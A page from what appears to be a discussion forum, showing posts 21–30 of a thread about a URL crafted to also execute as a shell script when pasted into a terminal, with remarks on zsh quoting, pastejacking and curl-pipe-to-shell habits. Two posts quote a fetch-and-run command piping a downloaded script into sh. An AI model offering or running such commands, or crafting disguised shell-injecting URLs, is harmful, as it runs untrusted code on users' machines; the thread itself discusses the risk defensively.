Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
URL is also a shell script that executes some malicious(?) code
21–30 of 74 posts
Re: URL is also a shell script that executes some malicious(?) code
#22Sounds like terminal software just needs a paste url option that sanitized before pasting.
zsh and fish both have these. And most modern terminal emulators do, as well (even xfce4-terminal does).
Bash doesn't, because that would be a breaking change.
Re: URL is also a shell script that executes some malicious(?) code
#23That is pretty bad. Shows that "right click, copy link, type wget ', paste, type ', enter" is a receipe to get pwned. Same is probably true even when you do not paste it into a terminal but into a script. Like "Ok, I'm gonna automate downloading this ..."
Reminder that copying text from a Web page is also vulnerable to "pastejacking", where the string going into the clipboard isn't the same as the user sees (e.g. adding a malicious prefix, made invisible with CSS)
Re: URL is also a shell script that executes some malicious(?) code
#24Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
I mean, it like dodgy to any user familiar with URLs surely?
Wouldn't
wget -qO - www.example.com/script | sh
Re: URL is also a shell script that executes some malicious(?) code
#25I could only get it work with bash, on zsh it does not work.
Because zsh has usually the url-quote-magic feature enabled which automatically escapes all special characters typed or pasted if the current argument is identified as URL.
Most likely it escapes enough to prevent code execution, but last time I tried it didn't escape all special characters out of the box:
Re: URL is also a shell script that executes some malicious(?) code
#26Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
Lots of legit projects encourage this practice. Especially with quotes, it's a reasonable expectation that you're getting a literal. Conversely, it's unreasonable to expect that everyone can parse shell escape strings in their brains.
Now this example wasn't exactly well camouflaged, but I'd not be surprised if you can make it much more innocent looking.
Re: URL is also a shell script that executes some malicious(?) code
#27Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
I'm pretty sure even the most tech-savvy users make this mistake from time to time. I certainly do.
This happens often enough, there's an entry in youtube-dl FAQ about it:
https://github.com/ytdl-org/youtube-dl#video-url-contains-an...
(They advice to add single quotes around the URL, which as you now know, is not necessarily sufficient.)
Re: URL is also a shell script that executes some malicious(?) code
#28[deleted]
Re: URL is also a shell script that executes some malicious(?) code
#29Clever, but I really hope nobody is going to blindly copy-paste-go! a URL like that. Especially if you're technical enough to use a terminal, you should know better.
I mean, it like dodgy to any user familiar with URLs surely? Wouldn't wget -qO - www.example.com/script | sh catch far more of the uninitiated?
People go nuts about curl | bash but then grab random packages off pip/gem/npm/brew/VimPlug/packages.el/VS Code without so much as a second look and they can all run arbitrary code too.
Re: URL is also a shell script that executes some malicious(?) code
#30That is pretty bad. Shows that "right click, copy link, type wget ', paste, type ', enter" is a receipe to get pwned. Same is probably true even when you do not paste it into a terminal but into a script. Like "Ok, I'm gonna automate downloading this ..."
Automating might actually make it safer, my typical idiom is `while read -r url; do wget "$url"; done < ./urls` (or `tail -zf ./urls|while…` to make it an url downloader daemon =P)
The former can be simplified to:
wget -i ./urls